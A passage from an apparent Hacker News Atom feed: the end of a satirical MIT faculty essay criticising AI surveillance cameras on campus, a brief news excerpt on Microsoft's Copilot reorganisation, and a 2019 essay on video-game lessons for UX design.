right? And yet our forward-thinking administration has already collaborated with Cambridge district prosecutors to press criminal charges against students doing hacks on campus, so this collaboration should be a snap to set up.\[5\]&#xA;&#xA;&gt; #### We are confident we speak for all faculty when we say that we simply cannot have students publicly expressing moral, ethical and political viewpoints on a college campus.&#xA;&#xA;Thankfully, the Sauronic array of electronic eyeballs can suppress that kind of rowdiness, too. Of course, MIT’s recently updated protest and demonstration rules are already doing a great job stifling student political self-expression and assembly on campus, all by themselves.\[6\] But just think how much more effective they will be at crushing all civil dissent when coupled with omnipresent cameras that produce such a detailed stream of documentary evidence that even the most peaceful sit-in can be prosecuted as vigorously as if it were a violent crime!\[7\]&#xA;&#xA;In addition, these AI-enabled surveillance cameras will be an enormous boon in the battle to keep us all safe from unauthorized posters – the infestation of unapproved art besmirching the blankness of our alabaster walls and half-empty bulletin boards. We can’t wait to see how having more technological tools for censorship will turbocharge MIT’s always-welcome efforts to micromanage how community members decorate our offices, dorms, and hallways. During the 2025 MIT Arts Festival, for example, an artwork about MIT’s Indigenous history was censored because it violated the postering policy. And thank goodness nobody got to see _that_! Truly, all hell could have broken loose.&#xA;&#xA;**Bedazzled Camera in Building 10.** _Photo: Claudia Tomateo_&#xA;&#xA;Speaking of keeping minoritized groups on a tighter leash, wouldn’t gender-neutral bathrooms be great places to post cameras? Anyone supporting gender neutrality by using one of those bathrooms is definitely suspicious for their wokeness. They might even be “radically pro-transgender” and thus now qualify as a terrorist.\[8\] Forget all that research on the gender and racial biases of AI.\[9\] If subjecting everyone on campus to 24-hour-a-day camera surveillance gives YOU a warm and cozy feeling of safety, who cares if others – such as international students, trans and nonbinary folks, Palestinians or other community members of color – feel the opposite way? Those over-privileged whiners are always making a lot of fuss over nothing!&#xA;&#xA;In fact, we can’t think of a single reason why existing on MIT’s campus at this particular sociopolitical moment might make members of those groups scared of having their image and voice data stored in the cloud and sold to third-party data brokers. We were therefore stunned when, at last May’s Institute Faculty Meeting, MIT faculty members who study AI raised serious concerns about Ambient.ai’s data usage and retention policies. So overblown were their worries that a committee was constituted to advise the administration on contract terms.\[10\] Now that all those expensive cameras have been bought and installed, we agree that it’s the perfect time to loop in a bit more community input – but only to address the carefully circumscribed question of _which_ of the many wonderful AI tools MIT should subscribe to.&#xA;&#xA;&gt; #### We are also happy to trust the MIT administration and Ambient.ai with all of our personal data and campus movements.&#xA;&#xA;We know that MIT will only provide information to criminally prosecute its own community members for really, really good reasons, like protesting a genocide or downloading a bunch of scholarly articles in a server closet. \[11\] Another soothing fact is that the MIT Police is one of the only university police agencies still sharing data with the Boston Joint Terrorism Task Force.\[12\] Almost every other municipal and university police force left this agreement after it was publicly denounced by civil liberties organizations. But MIT Police is still generously sharing our data with the FBI, thank goodness! All the more reason to embrace the loving gaze of our beneficent overlords.&#xA;&#xA;That said, if any students, staff, or faculty still have pesky concerns about this unprecedented ratcheting-up of campus surveillance, now you know that there’s a committee to contact with complaints.\[13\] Or, you could join us, the cheerful bedazzlers, by celebrating the beauty of our beholdenness to Big Brother Tech. Do you feel proud to be involved in the capitalist project of improving Ambient.ai’s services and enriching surveillance for all people, everywhere? Do you patriotically embrace the fact that Ambient.ai shares the data they collect with government and law enforcement when they receive subpoenas, without needing to ask or tell the institutions from whom they collected it? If so, there are hundreds of white plastic eyelids out there awaiting artistic adornment to enhance their visibility even as they enhance ours!&#xA;&#xA;In sum, we thank our glorious administration for their brilliant technical solution to a social problem. This is how it should be, because all social and political problems definitely have a technical solution, and usually we just need to pay for something involving AI rather than have an open discussion as a community (what a waste of time that would be!).&#xA;&#xA;We urge our dissenting colleagues to get with the program, because AI-capable campus surveillance is modern, efficient, innovative, and inevitable. It will definitely make all groups on campus feel equally safe and secure. Additionally, since all protest and dissent will be chilled, and all hacks rendered impossible, we will have a perfectly orderly and tranquil campus. Even the illegal art won’t be posted on the bulletin boards! (Or, if it does get posted, the students can be caught and maybe we could cut their threateningly creative hands off? Just an idea!) Thank you, Glorious MIT administration and Glorious MIT Corporation, for knowing what is in our best interests.&#xA;&#xA;**Note:** The IBAISBIAOMITCORPICBBTC initiative is inspired by the artwork of Jill Magid, MIT alumna, and Julia Scher, MIT Visual Arts Program Fellow and former MIT Lecturer.\[14\]&#xA;&#xA;\[1\] See https://thetech.com/2026/04/16/ai-surveillance-cameras&#xA;&#xA;\[2\] Although the MIT administration was directly asked over email whether these new cameras have built-in microphones, they declined to answer this question. A FAQ site they subsequently put up to address faculty concerns (https://evpt.mit.edu/campus-security-cameras-frequently-asked-questions) notably does not deny that these new cameras have built-in microphones, which is concerning since such hardware could be hacked to record sound even if MIT itself chooses to refrain from doing so. This is against the law in Massachusetts, which is an all-party consent state in regards to audio recording (https://www.ambient.ai/learn/massachusetts-video-surveillance-laws).&#xA;&#xA;\[3\] For funding cuts to the libraries see this article: www.bostonglobe.com/2025/12/12/business/mit-library-layoffs-closing/. And for a subset of the journals whose subscriptions are on the docket for cancellation, see https://www.dropbox.com/scl/fi/oa3n8dnb3qyoackrhrqv9/Proposed-Journal-Cuts-Relevant-to-SA.docx?rlkey=v28nq4sqbwyujnxyzsb7qmfb8&amp;dl=0&#xA;&#xA;\[4\] NPCs are non-player characters in gaming culture. They are the essential automaton workers of the future, and we should be striving to create them through our research and pedagogy.&#xA;&#xA;\[5\] An MIT student involved in a recent hack that resulted in such charges being filed has shown us their defendant’s copy of the criminal charges filed against them. We have also seen emails sent by members of the MIT Police in which they voluntarily shared personal information and surveillance images of an MIT student with the Cambridge Police, who had issued a general bulletin asking for help identifying protesters at a demonstration that took place in Cambridge (but not anywhere on or near MIT’s campus).&#xA;&#xA;\[6\] See https://fnl.mit.edu/how-the-rights-of-mit-student-protesters-were-undermined-and-how-to-fix-things-moving-forward/&#xA;&#xA;\[7\] MIT’s own policy states that the surveillance camera data it gathers is not to be used against students in disciplinary cases (https://ist.mit.edu/about/policies/video-surveillance). Yet those of us who have served as faculty advisers to students in past Committee on Discipline (COD) cases have witnessed surveillance images and video with sound being used as evidence against MIT students in multiple COD cases.&#xA;&#xA;\[9\] A recent example of AI surveillance sent eight police cars to swarm a Black teenager eating Doritos: https://kansascitydefender.com/technology-ai/eight-police-cars-swarm-a-black-teen-guns-ai-nationwide/&#xA;&#xA;\[10\] See https://www.dropbox.com/scl/fi/42mt23qkq1witxyne12py/Security-Cameras-Group-Membership-7-8-26.docx?rlkey=j0ezgklfcjdfvtt8kv2x6tlbh&amp;e=1&amp;dl=0&#xA;&#xA;\[11\] Regarding recent anti-genocide protests, see https://en.wikipedia.org/wiki/Pro-Palestine\_protests\_at\_Massachusetts\_Institute\_of\_Technology; regarding the legal case that contributed to Aaron Swartz’s decision to kill himself, see https://www.eff.org/deeplinks/2013/07/mit-aarons-swartz-case-not-neutral-not-leading-not-standing-technologists and https://swartz-report.mit.edu/&#xA;&#xA;\[12\] See theshoestring.org/2026/05/16/hampden-sheriff-last-local-holdout-for-controversial-anti-terrorism-partnership/. For more details about how MIT chooses to share information with external law enforcement agencies, see https://www.dropbox.com/scl/fi/pfhx6ts6bk3ux1nv9arje/PublicSafety-annualreport-2025.pdf?rlkey=qcepo446z6kqeciegno8w7l0r&amp;dl=0 and footnote 5 (above). On the broader local repercussions of such information sharing, see https://www.wbur.org/news/2025/05/08/boston-environmental-activists-fbi-visits.&#xA;&#xA;\[13\] See https://www.dropbox.com/scl/fi/42mt23qkq1witxyne12py/Security-Cameras-Group-Membership-7-8-26.docx?rlkey=j0ezgklfcjdfvtt8kv2x6tlbh&amp;e=1&amp;dl=0&#xA;&#xA;\[14\] Our bedazzling is inspired by Julia Scher’s artworks (https://act.mit.edu/2025/08/surveillance-seduction-and-subversion-the-art-of-julia-scher/) and Jill Magid’s _System Azure Security Ornamentation_  (https://www.jillmagid.com/projects/system-azure-security-ornamentation).</content>
    <link href="https://fnl.mit.edu/how-we-learned-to-stop-worrying-and-love-campus-surveillance/" rel="alternate"></link>
    <author>
      <name>cdrnsf</name>
    </author>
  </entry>
  <entry>
    <title>Microsoft abandons personal AI chatbot race with Copilot reboot</title>
    <updated>2026-09-25T23:07:08+09:00</updated>
    <id>hn_49844896</id>
    <content type="html"># Microsoft Abandons Personal AI Chatbot Race With Copilot Reboot&#xA;&#xA;Microsoft Corp. is merging the consumer and workplace versions of its Copilot AI assistant into one product aimed at corporate customers, ceding the crowded market for personal chatbots to OpenAI, Alphabet Inc.’s Google and, now, Meta Platforms Inc.&#xA;&#xA;At an event in Seattle earlier this week, Microsoft executives gave a few dozen business and technology leaders a preview of what they’re calling the new Copilot. The result of a six-month engineering effort, the latest iteration of the assistant has absorbed the separate version for home use, adopting some of its slick design features, and casting aside the marketing that sought to position the company as a builder of personal AI.</content>
    <link href="https://www.bloomberg.com/news/articles/2026-09-25/microsoft-abandons-personal-ai-chatbot-race-with-copilot-reboot" rel="alternate"></link>
    <author>
      <name>sbulaev</name>
    </author>
  </entry>
  <entry>
    <title>How video games inspire great UX (2019)</title>
    <updated>2026-09-21T01:00:13+09:00</updated>
    <id>hn_49777121</id>
    <content type="html">&gt; “Perspective is worth 80 IQ points.”&#xA;&gt;&#xA;&gt; Alan Kay&#xA;&#xA;This quote is meaningful to me as I’ve often struggled with a problem until an insight from a user test “changed my perspective”.&#xA;&#xA;I had this intuition that video games would also change my perspective. They seemed so much edgier, playing with deeper and more experimental UX techniques. I wanted to go well beyond classic “gamification”. That was all the rage a decade ago where apps used toys like “achievements” to encourage app use. Of course, given what we’ve learned in the last few years about the overuse of mobile phones and social media, it also seems irresponsible to make our apps “sticky” or “addictive”. I was looking for something deeper. Games felt more visceral and I wanted to understand them better and see where it took me.&#xA;&#xA;I’m an avid gamer but they felt a bit foreign to me as a UX designer. For example, one of the first game terms I learned was “juicy”, which refers to the amount of video effect you get for any action. Juicy games feel just a bit overwhelming but in a good way. This might be fun but likely counter productive. I wasn’t looking to overwhelm the user.&#xA;&#xA;My other concern was that games create tension. When you approach a fight in a game, you need to master a range of skills or your character will lose. If you were to ask any competent UX designer to design the perfect flow to beat a monster they would simply have a single button “Beat Monster”.&#xA;&#xA;That’s the paradox I was facing. Games felt like they were about **sparkles and tension**. Great app UX is about **minimalism and simplicity**. Fortunately, I found Raph Koster, the author of A Theory of Fun. Raph is known as a “Game Grammarian” and deeply deconstructs how games are made. His book is a very game-like exploration of how games work. Much like how Understanding Comics is a comic about how comics work.&#xA;&#xA;I met with Raph several times over 8 weeks where we took his book apart, applying it to my world of UX design. He was energetic and excited to find a parallel world that could benefit from his work. I’ve been in UX design for over 30 years and I was a bit, well, set in my ways. Raph was patient and in a good-natured way enjoyed skewering my misconceptions. This article is my journey fighting through these misconceptions.&#xA;&#xA;### Misunderstanding 1: Just copy cool tricks&#xA;&#xA;The game Horizon: Zero Dawn has an amazing heads-up-display UI. It just seemed obvious to me that there was potential for mobile apps. Raph’s point was that video games create these new UIs all the time. It would be a never ending list if I just copied what games are currently doing. His advice was to go a bit deeper and first understand how games create these types of UI.&#xA;&#xA;### Misunderstanding 2: Games are linear and plot driven&#xA;&#xA;Games have the ability to force situations, such as running into a canyon and having nowhere to go but up a ladder. Apps on the other hand, usually have the opposite, offering a broad toolkit of choices. Games, I thought, can exploit narrative to force situations which made their life easier.&#xA;&#xA;Raph said yes, games do use plot (they are a form of entertainment after all) but his point was that great games go so much deeper than just plot, usually working on low level mechanics first. You only have to appreciate the 12 ways to jump in Super Mario Odyssey to appreciate his point.&#xA;&#xA;### Misunderstanding 3: Gamers practice over and over. Games have it easy&#xA;&#xA;Raph laughed when I said this. “You realize”, he said patiently, “that most games fail?” This made perfect sense the moment he said it. Of course, only the best games reward practice. You have to design a great game to get people to have the confidence that practicing is worthwhile.&#xA;&#xA;The upshot is that the Raph convinced me to forgo any quick and easy ‘cookbook of tricks’ approach to this problem and go deeper and understand better how games are built, from the bottom up. His book covers a wealth of material and I encourage you to read A Theory of Fun for more detail. But we came up with six “lenses” that cover the transition of his book to UX design.&#xA;&#xA;I want to be clear that video games are not exactly like applications. The goal here isn’t to copy games but instead be inspired by them. Many UX designers devour Edward Tufte’s books on information design not because they expect to visualize complex data sets themselves but more by the joyful intellectual insight that comes from understanding data patterns he describes so well.&#xA;&#xA;The first point Raph made felt a bit overly specific, calling out the difference between the words “Story” and “Narrative”. They felt quite similar to me but his point was that “Story” is author generated while “Narrative” is user generated. Game designers create a series of events (A-B-C) you have to pass through but what users actually do is often a surprising pattern of:&#xA;&#xA;- staying on on step A for a very long time&#xA;- skipping step B entirely&#xA;- circling around step C multiple times.&#xA;&#xA;At first I thought he was just describing classic user testing. Of course users go through your design in ways you didn’t expect, all experienced UX designers know this. But his point was deeper: it’s not the journey, but how users recall the experience. Users will **always** create narrative. It’s just human nature, they will go through any experience and remember it by constructing a narrative. This is what game designers understand deeply. If your story has huge gaps and doesn’t lead the user carefully then users can’t help themselves, they will create their own narrative that fills in the gap.&#xA;&#xA;Most apps today will just “throw” 5 new features into an app with little connection between them. Users however, **will** create a narrative to help them understand what they are seeing, even if none exist. What narrative could they construct? They are likely making up stories that would frighten you. Anyone who has done user testing appreciates this. Users ‘connect the dots’ in ways that will astound, often creating mythologies that were never intended.&#xA;&#xA;**APPS**&#xA;&#xA;Just throw in a bunch of features into a pot. **GAMES**&#xA;&#xA;Understand everything is a journey. Work hard to make everything a closely connected arc of events that help the user create a narrative that matches the overall story.&#xA;&#xA;#### EXAMPLE 1:&#xA;&#xA;The best example of this is the original 1984 Macintosh boot sequence. Every PC of it’s day had a simple power switch which just ‘beeped’ when turned on, followed by a bunch of streaming and confusing text. The Mac booted into a startup screen showing only a pattern with a smiling Mac. Nothing more, no text, no gibberish. Eventually the desktop appeared but it was just a tiny variation, the same desktop but with an added menu bar, a disk icon and a trash can. The boot sequence started with a promise that resolved into a working desktop.&#xA;&#xA;Not only that, but the corners of the display were rounded which made it look more like a desktop ‘blotter’ which were popular back then.&#xA;&#xA;Even more, the trash can added depth to the illusion by getting ‘stuffed’ when you put something into it. The Mac took a very hardware driven concept, turning on your computer, and turned it into theater. Yes it had the boot sound, but it then showed a promise, a compromise of the final desktop and as it booted, ‘inflated’ that promise with the final working model. Why people loved the Mac is often misunderstood. I’d claim that it’s this dedication to taking people on a carefully crafted story, one which allowed users to craft a compatible narrative, that is at the heart of this devotion.&#xA;&#xA;#### EXAMPLE 2:&#xA;&#xA;Another more modern example is this landing page for PayPal. Notice how the page clearly invites you to choose. Are you a “Personal” user or a “Business” user? As you mouse over each section, the story unfolds, expanding your choices, offering you things you can easily understand and identify with. Each branch has a clear call to action. This is a beautiful story telling sequence that pulls you in and gets you to become an active part of the on-boarding process.&#xA;&#xA;Raph uses the game Frogger to explain what he means by “Games are fractal”. This single screen is composed of several levels. At first you are in a safe starter area at the bottom where you can move back and forth freely with no risk. Second is the street, where you have to dodge cars followed by a river which is a bit trickier as both the road and the ‘cars’ are moving. Finally you get into a ‘parking’ area where it’s easy to get into the first one but progressively harder as they fill up.&#xA;&#xA;But he literally means ‘fractal’ in that the game isn’t a simple linear “cross the road, cross, the river, and park your frog sequence. Of course, at the surface level, that’s true but his point is that it’s a nesting cascade of discoveries.&#xA;&#xA;To win the level you must first cross the street. To cross the street requires that you move the frog. To move the frog requires that you understand joystick timing. Each of these sub levels have their own feedback considerations:&#xA;&#xA;- Street: the cars movement&#xA;- Frog: How it moves, how far it jumps each time&#xA;- Joystick: Direction and speed of movement (it’s quite slow actually)&#xA;&#xA;Games understand that each of these levels has their own set of feedback, motivation and learning that must take place. This level of deconstruction, in a 30 year old game no less, blew my mind. Games were complex! They really paid attention to detail. There was a lot here to understand.&#xA;&#xA;Compare this to app designs. For very good reasons, we try very hard to fall back on guidelines. We work very hard NOT to reinvent the wheel. While this makes sense, we can’t just fall back on guidelines forever now can we? Maybe this is a bit obvious, but we’re not going to be using today’s phone UI designs 30 years from now.&#xA;&#xA;How do we evolve and create new UX patterns? What’s inspiring about games is that they are trying to evolve all… the… time. While clearly this would be a chaotic with commercial software, I still find it inspiring that games are built on this core belief that they rigorously unpack each action. Everything you do is multi-layered and must be unpacked, improved, and most importantly, taught to the user. While we may not want to emulate the speed of how games change UX patterns, we can certainly learn from their deep commitment and dedication to detail.&#xA;&#xA;**APPS**&#xA;&#xA;Follow your guidelines, be consistent, don’t rock the boat. **GAMES**&#xA;&#xA;Rigorously unpack everything, don’t worry if you sink the boat.&#xA;&#xA;### EXAMPLE&#xA;&#xA;The computer example here is desktop menus. “Selecting a menu item” is actually a fractal cascade of skills where you first start horizontally browsing the menu bar, with a click, you shift into a vertical mode but keep the same basic highlight approach. For hierarchical menus, you need to understand the graphic hint that there is something deeper and then navigate over to reveal and then select that menu. Anyone who has taught beginning computer users the menu system knows how hard it is to master hierarchical menus. It’s takes practice to find, reveal and track over to that menu. There is a fractal cascade of skills required.&#xA;&#xA;The Learning Loop is a basic concept in psychology for acquiring any skill. You start with an intent such as “shoot the laser”, you take an action, such as pushing a button, and you see the result, the canon powering up and shooting a beam of energy. This loop is fundamental to learning as you have a model of how things work, then interact with the affordance in front of you and the resulting feedback then loops back and updates your mental model.&#xA;&#xA;Far from being a dry academic model, this is the foundation of how learning happens in games. Raph has a great quote in his book for this: “Fun is just another word for learning”. In order to have fun, you must learn. I find this inspiring as app design wants your users to learn but we’ve rarely appreciated this could be fun.&#xA;&#xA;Games understand that in order to learn you must start thinking in layers. Begin with a basic skill and slowly add more, getting better one layer at a time. But the key insight is that these layers are built one on top of the other. The classic example is Super Mario brothers.&#xA;&#xA;You start off locked behind a pipe, in a safe zone much like Frogger. Here you move and jump, getting nowhere until you figure out how to jump on top of the pipe. You’ve just learned the first basic ‘Loop”: jumping. As you move to the right, a low ceiling appears and it’s very easy to jump into the ceiling, which hits one of those “?” bricks and a prize drops. You’ve learned your second variation of the loop: Hitting. Finally, when you encounter your first monster, it’s not a far stretch to assume you can jump onto them, and “Tada!” you just zapped your first monster. Loop 3 is attacking. There are clearly 3 distinct versions of jumping going on here:&#xA;&#xA;- Initial jump. Simple button press&#xA;- Long jump. Long button press&#xA;- Landing jump. Timed jump&#xA;&#xA;What’s so interesting here is that there is only one ‘thing’ you’re learning: jumping. But by stressing subtle aspects of how to jump, the game builds up variations of it. A basic jump gets you over things, a long jump can “open” and landing a jump can “attack”. A boring app designer like me would assume you’d need 3 different verbs/buttons for this but Super Mario does this with a single “Jump” action.&#xA;&#xA;Each jump has their own triggers but to the user “it’s just jumping”. Crafting a careful learning loop enables people to learn a range of tasks under a single concept.&#xA;&#xA;Nintendo is the master of this, doing it not only for Super Mario Bros but for all of it’s games from Super Mario Odyssey, to Splatoon, to even Luigi’s Mansion (which I doubt any of you have played). Shigeru Miyamoto, the esteemed director of Nintendo games has this amazing quote:&#xA;&#xA;&gt; Shigeru Miyamoto(Nintendo Games Director)&#xA;&gt;&#xA;&gt;  _“That’s how we make games at Nintendo: we get the_ _fundamentals solid first_ _, then do as much with that core concept as our time and ambition will allow._ _As for the courses and enemies, those actually came at the very end. They were done in a single burst of energy,_ _just thrown together, almost_ _.”_&#xA;&#xA;This blew my mind when I first read it. What do you mean both the game levels and course were just ‘thrown together’! That’s insane. But it shows how much Nintendo focuses on the core building blocks. It’s what makes games work. I think there is a huge lesson for us here.&#xA;&#xA;**APPS**&#xA;&#xA;Each feature is in isolation, how it is done usually has little relation to other features (other that using a style guide). **GAMES**&#xA;&#xA;Build a game through a single, mechanic that grows in expressive power by adding modifiers like time, special keys, or timing.&#xA;&#xA;### EXAMPLE 1:&#xA;&#xA;In a somewhat ironic twist, when the Mac first shipped in 1984, it used games to teach users how to get started!&#xA;&#xA;The goal was to start simply and teach the first loop: moving the mouse. It then progressed to clicking, menus, dragging, and even shift clicking. What struck me was how deep and varied the loops are for desktop. This rich input model allows for much more sophisticated positioning of the cursor, better text selection, and input control. While we all agree that the Desktop UI can be overly complicated for some users, it’s important to appreciate how rich and detailed it’s loops were. In our discussions, Raph specifically called this out, saying that mobile has a lot to learn from desktop.&#xA;&#xA;### EXAMPLE 2:&#xA;&#xA;But mobile does have a few tricks. People often think of “tap” and “pinch” as separate gestures but they really are just variations on the same loop. Here is an example showing both in Google Maps:&#xA;&#xA;Notice how when the user pinch zooms in, they can still drag the map around like they do with single tap dragging? Pinch is just a high order loop on top of drag.&#xA;&#xA;Affordances has a classic definition in UX, popularized by Don Norman in his book the Design of Everyday Things. Games have a subtle spin on this: affordances prompt the things you already know. Let me use a few examples from “Breath of the Wild”, one of my very favorite games. Like many exploration games, you’ll get a clear and obvious prompt when you stand next to something:&#xA;&#xA;This “Take” prompt will occur thousands of times throughout the game. You clearly learn how to pick up an item fairly quickly but this prompt also gives you a clear indicator when you can pick it up as well.&#xA;&#xA;There is a more subtle version of this when fighting. In this case, the robot will always swing wide before it attacks from the side, signaling when to dodge. This is something that you need to learn in order to get good at fighting robots. But once you learn it, it’s a very regular pattern you can count on.&#xA;&#xA;But my favorite example was one of the core innovations in Breath of the Wild: the stamina wheel. It is a simple circular gauge indicator of how much ‘stamina’ you have. When you start climbing, the gauge starts to empty. If you don’t get to the top before the wheel runs out, you fall.&#xA;&#xA;What’s amazing here is how the wheel was implemented. At a simple level it’s “just a gauge” but it’s far more sneaky than that. If you climb, you’ll notice a range of feedback on this affordance:&#xA;&#xA;1. The character leans in when climbing&#xA;2. When stopped they lean out and the wheel stops&#xA;3. During a steep section, beads of sweat appear and the stamina drains faster. In addition, they lean in and appear to be ‘trying harder’&#xA;&#xA;This basic example of ‘just climbing’ shows how subtle game affordances can be and how clever they are at using varying types of feedback. At a basic level, they really aren’t that complex, showing a simple resource: stamina. However, it’s by having the next level of detail, showing, in effect, the second derivative of stamina usage, the game is teaching you to take the less steep route. That extra bit of feedback, the leaning in and the sweat, helps you understand that you’re using up stamina faster.&#xA;&#xA;I had played this game for over 100 hours, and had clearly learned to take the less steep sections when climbing but here’s the key point: I had no idea I was doing it! The game taught me without me knowing I was learning. This is serious Jedi mind trickery.&#xA;&#xA;This level of detail is what makes games so intriguing. Raph talks about the many types of affordances in his book, but I’d just like to focus on five types of affordance feedback that apply to app UX:&#xA;&#xA;1. Multi-variant&#xA;2. Reality&#xA;3. Multiples&#xA;4. Mixed&#xA;5. Grace-notes&#xA;&#xA;### Multi-variant&#xA;&#xA;Games work hard to give you lots of feedback hidden in the action. From the sand particles flying out when Mario runs, to the cloud trail he leaves behind, to when his arms fly out at certain speeds, Super Mario Odyssey works hard to give you all sorts of variables in subtle ways. This was exactly what happened with the stamina wheel above. By encoding things cleverly, the user can pick up on multiple aspects of the game.&#xA;&#xA;### Reality&#xA;&#xA;Games work hard to map the right actions to the correct aspect of the controller, which has a rich selection of triggers, analog and digital joysticks, to simple buttons. Like Desktop, games consoles have a rich set of input loops to use. Mobile in contrast just has tap, drag and pinch. Mobile is impoverished compared to games and even desktop: we are a prisoner of our flat slab of glass. And don’t get me started on long-press, it’s very existence is proof that mobile has an expression problem (making me feel like old-man Simpson).&#xA;&#xA;### Multiples&#xA;&#xA;Games work really hard at using visual, audio and haptic feedback in games. Why don’t we? The obvious answer is that users often don’t like it but we have to ask ourselves, how can games get away with it and we can’t? Yes, games have it a BIT easier as the volume is turned up but it’s worth asking, what is it about games and how they do it that it feels obvious and fun whereas we do it and everyone hates it. It’s arguable that we’re being a bit too heavy handed. We need to be a bit more subtle and nuanced.&#xA;&#xA;### Mixed Styles&#xA;&#xA;Games work very hard to mix graphic styles. The good guys in Mario are soft and rounded while the bad guys are sharp and pointy. In the game Horizon Zero Dawn there are two very different graphic styles:&#xA;&#xA;The more ‘cave painting’ style represented the main character, which came from a primitive tribe, and the sharper more technological style was for the items in the environment she could ‘see’ with her heads up display. It works well to give you a “me vs the world’ feel to things on the screen.&#xA;&#xA;How could we use this? Here is simple web page example:&#xA;&#xA;The title bar is clearly visually distinct from the body but stops there. There should ALSO be a visual difference from the left nav and the actual body content. The left nav should be a lighter blue so it ties into the title bar. It would give a clear visual style about the title being most important, the nav next, and finally the content.&#xA;&#xA;### Grace-notes&#xA;&#xA;This is the last and most playful example. Games create small light moments to add ambiance to a game but also to drive learning. In Breath of the wild, grasshoppers fly out of the grass when you run through it. This is just atmospheric but later when you learn to ‘cut the grass’ you can actually find those grasshoppers before they fly.&#xA;&#xA;In Half Life, you can flush the toilets. It doesn’t do a damn thing, there is zero value to do it but it does make the world feel more interactive. That way when you walk up to a closed door, you’re more likely to try opening it, I mean the toilets flush, why not try?&#xA;&#xA;This is clearly a very subtle but powerful tool that games use to not only give you a better ‘sense of place’ but offers you ‘baby interactions’ that prepare you for other parts of the game. I’d love to find some examples of Apps doing this but I honestly can’t find any. If anyone does think of one, please let me know!&#xA;&#xA;**APPS**&#xA;&#xA;Prompt as little as possible. **GAMES**&#xA;&#xA;Prompt all the damn time (they’re just really subtle and sneaky about it).&#xA;&#xA;Hintiness is something completely unique to games. Unlike affordances, which reinforce the current Learning Loop you’re on, the whole point of hintiness is to move you to new loops. Not moving to new loops is a critical problem for games and they have a specific term for it, “Bottom Feeding”.&#xA;&#xA;This screenshot is from World of Warcraft. If you’re a level 3 character and really good at killing spiders that’s great, but when you try to kill something bigger like a crocodile and get killed immediately, most players have a predictable response: go back to killing spiders. This is “bottom feeding”, just taking the easy route and remain at the same level over and never progressing. It’s comfortable, but it’s also boring. It also kills games. Game designers **really** want you to learn and get better so you stay engaged.&#xA;&#xA;There are all sorts of ways to do this. In Super Mario Odyssey there is a type of navigational hintiness called “Moon Chains”. You’re encouraged to collect these Moon objects in the game but every time you collect one, you can ALWAYS see another one. It hints at where you need to go.&#xA;&#xA;In Breath of the Wild, the walls are usually smooth stone so when you see one with a broken pattern, it’s a clear sign that something interesting is behind that wall.&#xA;&#xA;But for App UX, hints are exactly the opposite, usually dialog box prompts in your face that stop you dead in your tracks! Games on the other hand, are subtle and usually seen over and over before you finally get it. They are the exact opposite of Microsoft Clippy. That’s part of the discovery and delight.&#xA;&#xA;The video game approach is just so different from Apps. So many of our users “Bottom Feed” getting stuck in a current simple level of using our apps. If you’ve ever done user testing on your app, you often find that some users will write critical steps down on post-it notes as they keep getting lost. This is a UX tragedy as they don’t understand the Learning Loops well enough so they write down the exact steps every time they need to do something. How can we use hintiness to keep our users from Bottom Feeding?&#xA;&#xA;**APPS**&#xA;&#xA;Assume users are at a constant skill level. **GAMES**&#xA;&#xA;Use hints constantly and patiently to move users to the next level.&#xA;&#xA;### EXAMPLE&#xA;&#xA;As there aren’t any good examples in App UX, let me make one up: creating a guide in a drawing app. I’ll use Photoshop, but Sketch or Figma could just as easily use this. There is a “Beginner level” way to create a guide just by using a menu and dialog box:&#xA;&#xA;It’s simple and it works. But most power users know to just drag it out from the bar. How could we use hintiness to help users discover it? One way would be to add a quick, lightweight animation. When the user try the dialog box to add the guide, instead of simply appearing, add an animation ‘sparkle’ in the ruler area and then animate out the guide to the position they asked for. Fast, quick and subtle. The user might not even notice it but after they see it a few times, they might just wonder what was going on and try it themselves. That is what games try to do, get you pulled in and copy what they are showing you.&#xA;&#xA;Pacing is critical to the overall story in games but a specific aspect of pacing for games that applies to App UX is “where to start?”. Remember the “Narrative vs Story” section? It was about games creating a tight coupling between experiences in the game to help users create their own narrative:&#xA;&#xA;Games know that a journey of 1000 miles begins with the first step. It’s critical that users know how to get going, get into the flow well before they understand everything. The classic example here would be World of Warcraft, a very complex game that ultimately has dozens of commands for you to learn. But you start with just 1 attack spell. There isn’t much to learn and it starts off pretty easy. As you level up, things are gradually added so you grow into the interface.&#xA;&#xA;What do most Apps do?&#xA;&#xA;They show you EVERYTHING at the very beginning hoping you’ll get it all in this one shot. Of course, we all know what happens: skip, skip, skip….&#xA;&#xA;A colleague of mine at Google, Luke Wroblewski, discussed this at Conversions@Google 2018 where he talked about a finance app that instead of a “help overlay” offered one single clue: how to create an expense item. Of course, the app could do much more but once the user knew how that, they were on their way.&#xA;&#xA;Of course, the difficult part is for you to figure out what your “first thing to do” is. This is why games are so interesting, they spend so much time figuring out what we think of as a small, trivial point.&#xA;&#xA;**APPS**&#xA;&#xA;Tend to offer users a large toolbox and let them figure out how to get started. **GAMES**&#xA;&#xA;Have a clear understanding of the journey and say “Start here first”.&#xA;&#xA;## Bringing it all home&#xA;&#xA;The six lenses we’ve talked about:&#xA;&#xA;Each provides a window into how games think and design. But it’s not just a simple linear list. The first three lenses are about breaking down your game (or App) into much more concrete chunks:&#xA;&#xA;1. Story vs Narrative (Think in terms of story arcs)&#xA;2. Games are fractal (Break up the journey from big to small to tiny)&#xA;3. Learning loop (figure out your core mechanic)&#xA;&#xA;And then the following three lenses build things back up:&#xA;&#xA;1. Affordances (Prompt for known loops)&#xA;2. Hintiness (Move to new loops)&#xA;3. Pacing (Be sure to start here)&#xA;&#xA;It’s really shaped more like this:&#xA;&#xA;These games lenses have been eye opening to me. I feel some of those 80 IQ points Alan Kay promised as I’m thinking about UX design in fundamentally different ways. In this post, I’ve given examples throughout on how this can provide valuable insights in ordinary, every day apps. It’s certainly helped me. Much of my work at Google uses these lenses to break things down fractally, look for loops, and figure out ways to hint at new loops. I’m not building games, but I’m being inspired by them. I hope they inspire you as well.</content>
    <link href="https://jenson.org/games/" rel="alternate"></link>
    <author>
      <name>andsoitis</name>
    </author>
  </entry>
  <entry>
    <title>U.S. appeals court upholds designation of Anthropic as supply chain risk</title>
    <updated>2026-09-26T00:29:25+09:00</updated>
    <id>hn_49845977</id>
